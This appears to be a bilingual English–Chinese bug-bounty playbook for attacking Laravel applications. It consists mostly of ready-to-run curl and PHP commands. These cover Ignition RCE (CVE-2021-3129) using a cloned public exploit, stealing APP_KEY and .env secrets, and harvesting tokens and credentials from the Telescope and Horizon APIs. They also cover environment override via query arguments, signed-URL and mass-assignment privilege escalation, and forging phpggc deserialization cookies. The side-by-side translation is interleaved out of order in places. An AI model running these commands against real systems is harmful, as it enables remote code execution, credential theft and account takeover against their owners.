hunt-laravel

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

HUNT-LARAVEL — Laravel Specific Vulnerabilities

HUNT-LARAVEL — Laravel 特有漏洞

Crown Jewel Targets

高价值目标

Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).
Highest-value findings:
  • Ignition RCE (CVE-2021-3129) —
    APP_DEBUG=true
    + Laravel < 8.4.2 →
    /_ignition/execute-solution
    RCE without auth
  • Telescope dashboard —
    /telescope
    exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
  • Horizon dashboard —
    /horizon
    exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
  • Signed URL manipulation — if
    URL::signedRoute
    validates wrong params → bypass signed URL → unauthorized actions
  • .env exposure —
    APP_KEY
    leaked → decrypt all encrypted cookies → forge session → ATO

生产环境中启用 Laravel Debug 模式 = 可通过 Ignition(CVE-2021-3129)即时实现 RCE。
最高价值的发现:
  • Ignition RCE(CVE-2021-3129) —
    APP_DEBUG=true
    + Laravel < 8.4.2 →
    /_ignition/execute-solution
    无需认证即可实现 RCE
  • Telescope 仪表板 —
    /telescope
    暴露完整的请求/响应日志、DB 查询、Redis 命令、定时任务和环境变量
  • Horizon 仪表板 —
    /horizon
    暴露队列任务详情及失败任务及其完整 payload(可能包含 API 密钥、PII)
  • Signed URL 篡改 — 如果
    URL::signedRoute
    验证了错误的参数 → 绕过 signed URL → 发起未授权操作
  • .env 暴露 —
    APP_KEY
    泄露 → 解密所有加密 cookie → 伪造 session → ATO

Phase 1 — Fingerprint Laravel

阶段 1 — 识别 Laravel 指纹

bash
undefined
bash
undefined

Laravel-specific indicators

Laravel 特有指标

curl -sI https://$TARGET/ | grep -i "laravel_session|x-powered-by.*php" curl -s https://$TARGET/ | grep -i "laravel|Illuminate|csrf-token"
curl -sI https://$TARGET/ | grep -i "laravel_session|x-powered-by.*php" curl -s https://$TARGET/ | grep -i "laravel|Illuminate|csrf-token"

Common Laravel paths

常见 Laravel 路径

for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path") [ "$STATUS" != "404" ] && echo "$path: $STATUS" done
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path") [ "$STATUS" != "404" ] && echo "$path: $STATUS" done

Check error page (trigger 404)

检查错误页面(触发 404)

curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel|Whoops|Ignition|symfony"

---
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel|Whoops|Ignition|symfony"

---

Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)

阶段 2 — Debug 模式与 Ignition RCE(CVE-2021-3129)

bash
undefined
bash
undefined

Step 1: Check if debug mode is enabled (Whoops error page)

第 1 步:检查是否启用了 Debug 模式(Whoops 错误页面)

curl -s "https://$TARGET/nonexistent" | grep -i "Whoops|APP_DEBUG|Ignition"
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops|APP_DEBUG|Ignition"

If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

如果显示 Whoops/Ignition → Debug 模式已开启 → 测试 CVE-2021-3129

Step 2: Check Ignition endpoint

第 2 步:检查 Ignition endpoint

curl -s "https://$TARGET/_ignition/health-check" | head -5
curl -s "https://$TARGET/_ignition/health-check" | head -5

Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation

第 3 步:CVE-2021-3129 — Laravel < 8.4.2 可通过篡改日志文件实现 RCE

(Requires debug mode + writable storage/logs)

—

Tool: ambionics/laravel-ignition-rce

—
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce php /tmp/laravel-rce/exploit.php https://$TARGET "id"
#(需要 Debug 模式 + storage/logs 可写)

Manual test — send solution request

工具:ambionics/laravel-ignition-rce

curl -s -X POST "https://$TARGET/_ignition/execute-solution"
-H "Content-Type: application/json"
-d '{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "x", "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log" } }'

---
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce php /tmp/laravel-rce/exploit.php https://$TARGET "id"

Phase 3 — Laravel Telescope & Horizon

手动测试 — 发送 solution 请求

bash
undefined
curl -s -X POST "https://$TARGET/_ignition/execute-solution"
-H "Content-Type: application/json"
-d '{ "solution": "Facade\Ignition\Solutions\MakeViewVariableOptionalSolution", "parameters": { "variableName": "x", "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log" } }'

---

Telescope — request/response logs, DB queries, jobs, cache, events

阶段 3 — Laravel Telescope 与 Horizon

curl -s "https://$TARGET/telescope" | grep -i "telescope|laravel" curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50 curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30 curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30 curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50
bash
undefined

Horizon — queue worker dashboard

Telescope — 请求/响应日志、DB 查询、任务、缓存、事件

curl -s "https://$TARGET/horizon" | grep -i "horizon|laravel" curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope" | grep -i "telescope|laravel" curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50 curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30 curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30 curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

Failed job payloads often contain full request data including auth tokens

Horizon — 队列 worker 仪表板

Common paths

—
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path") [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path" done

---
curl -s "https://$TARGET/horizon" | grep -i "horizon|laravel" curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50

Phase 4 — .env File & APP_KEY Exposure

失败任务的 payload 通常包含完整请求数据,包括 auth token

—

常见路径

bash
undefined
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path") [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path" done

---

Direct .env access

阶段 4 — .env 文件与 APP_KEY 暴露

curl -s "https://$TARGET/.env" | grep -i "APP_KEY|DB_PASSWORD|SECRET|KEY" curl -s "https://$TARGET/.env.production" curl -s "https://$TARGET/.env.backup" curl -s "https://$TARGET/.env.local"
bash
undefined

If APP_KEY found:

直接访问 .env

APP_KEY="base64:XXXXXXX" echo "APP_KEY=$APP_KEY"
curl -s "https://$TARGET/.env" | grep -i "APP_KEY|DB_PASSWORD|SECRET|KEY" curl -s "https://$TARGET/.env.production" curl -s "https://$TARGET/.env.backup" curl -s "https://$TARGET/.env.local"

→ Can decrypt all Laravel encrypted cookies

如果发现 APP_KEY:

→ Can forge session cookies → ATO for any user

—

Also check

—
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception|error|key|password"

---
APP_KEY="base64:XXXXXXX" echo "APP_KEY=$APP_KEY"

Phase 4b — Environment override via query args (CVE-2024-52301)

→ 可以解密所有 Laravel 加密 cookie

—

→ 可以伪造 session cookie → 获取任意用户的 ATO

—

同时检查

When
register_argc_argv=On
(php.ini), Laravel parses the query-string as CLI args, so
?--env=
overrides
APP_ENV
over HTTP -> flip the app into
local
/
testing
config (debug on, seeded creds, weaker guards).
bash
curl -s "https://$TARGET/?--env=local"          # force debug/local config
curl -s "https://$TARGET/login?--env=testing"    # swap to testing DB/config
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception|error|key|password"

---

Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.

阶段 4b — 通过查询参数覆盖环境(CVE-2024-52301)

undefined
当
register_argc_argv=On
(php.ini)时,Laravel 会将查询字符串解析为 CLI 参数,因此可通过 HTTP 使用
?--env=
覆盖
APP_ENV
→ 将应用切换至
local
/
testing
配置(启用 debug、预置凭据、采用较弱的防护规则)。
bash
curl -s "https://$TARGET/?--env=local"          # 强制启用 debug/local 配置
curl -s "https://$TARGET/login?--env=testing"    # 切换至测试 DB/配置

Phase 5 — Signed URL Manipulation

确认:查看 debug/Whoops 页面或不同的环境标识。已修复版本:11.31.0 / 10.48.23 / 9.52.17。

bash
undefined
undefined

Laravel signed URLs contain signature param: ?signature=HASH

阶段 5 — Signed URL 篡改

Find signed URL endpoints

—
cat recon/$TARGET/urls.txt | grep "signature="
bash
undefined

Test: modify a non-signature parameter — should fail validation

Laravel signed URL 包含 signature 参数:?signature=HASH

—

查找 signed URL endpoint

SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"
cat recon/$TARGET/urls.txt | grep "signature="

Modify user ID → should fail if properly signed

测试:修改非 signature 参数 — 验证应失败

curl -s "${SIGNED_URL/user=123/user=999}"
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"

Test signature bypass: remove signature entirely

修改 user ID → 如果签名机制正确则应失败

curl -s "${SIGNED_URL/&signature=VALID_SIG/}"
curl -s "${SIGNED_URL/user=123/user=999}"

Test: does the app validate ALL parameters or just some?

测试签名绕过:完全移除 signature

curl -s "${SIGNED_URL}&extra=malicious"

---
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"

Phase 6 — Mass Assignment via Eloquent

测试:应用会验证所有参数还是仅验证部分参数?

bash
undefined
curl -s "${SIGNED_URL}&extra=malicious"

---

Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly

阶段 6 — 通过 Eloquent 进行批量赋值

Test: add extra fields to update/create requests

—

Profile update

—
curl -s -X POST "https://$TARGET/api/profile"
-H "Cookie: laravel_session=SESSION"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'
bash
undefined

Registration

Laravel Eloquent ORM — 如果 model 错误地使用 $guarded=[] 或 $fillable=[]

—

测试:在更新/创建请求中添加额外字段

—

资料更新

curl -s -X POST "https://$TARGET/api/register"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'

---
curl -s -X POST "https://$TARGET/api/profile"
-H "Cookie: laravel_session=SESSION"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'

Phase 7 — Laravel Cookie Deserialization

注册

bash
undefined
curl -s -X POST "https://$TARGET/api/register"
-H "Content-Type: application/json"
-d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'

---

If APP_KEY is known, forge a session cookie with malicious serialized payload

阶段 7 — Laravel Cookie 反序列化

Uses phpggc gadget chains

—

Get the app key

—
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)
bash
undefined

Generate payload with phpggc

如果已知 APP_KEY,可使用恶意序列化 payload 伪造 session cookie

—

使用 phpggc gadget chains

—

获取 app key

php phpggc Laravel/RCE5 system 'id' | base64
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)

Sign the cookie with the app key using laravel-cookie-forge script

使用 phpggc 生成 payload

python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"

—

---
php phpggc Laravel/RCE5 system 'id' | base64

Chain Table

使用 laravel-cookie-forge 脚本,以 app key 对 cookie 进行签名

—

python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"

Laravel findingChain toImpact
Debug mode ONCVE-2021-3129 Ignition RCECritical RCE
Telescope accessibleRead API keys, DB queries, env varsHigh - credential theft
Horizon accessibleRead failed job payloadsHigh - PII/token exfil
.env exposed with APP_KEYForge session cookie → ATOCritical ATO
Signed URL bypassUnauthorized actions (unsubscribe any user, etc.)Medium-High
Mass assignmentSet is_admin=true → privilege escalationCritical


---

Validation

链式利用表

✅ Ignition RCE:
id
command output returned in response ✅ Telescope: API responses contain DB queries with credentials or user tokens ✅ APP_KEY: Forged session cookie accepted, returns another user's profile ✅ Mass assignment:
is_admin: true
accepted, account now has admin privileges
Severity:
  • Ignition RCE: Critical
  • Telescope/Horizon with sensitive data: High
  • .env with APP_KEY: Critical
  • Mass assignment to admin: Critical
Laravel 发现项可链式利用为影响
Debug 模式已启用CVE-2021-3129 Ignition RCE严重 RCE
Telescope 可访问读取 API 密钥、DB 查询、环境变量高危 — 凭据窃取
Horizon 可访问读取失败任务的 payload高危 — PII/token 外泄
.env 暴露且包含 APP_KEY伪造 session cookie → ATO严重 ATO
Signed URL 绕过未授权操作(例如取消任意用户的订阅)中高危
批量赋值设置 is_admin=true → 权限提升严重

—

验证

—
✅ Ignition RCE:响应中返回了
id
命令的输出 ✅ Telescope:API 响应包含带凭据或用户 token 的 DB 查询 ✅ APP_KEY:伪造的 session cookie 被接受,并返回其他用户的资料 ✅ 批量赋值:
is_admin: true
被接受,账户目前拥有管理员权限
严重程度:
  • Ignition RCE:严重
  • Telescope/Horizon 包含敏感数据:高危
  • .env 包含 APP_KEY:严重
  • 通过批量赋值提升至管理员:严重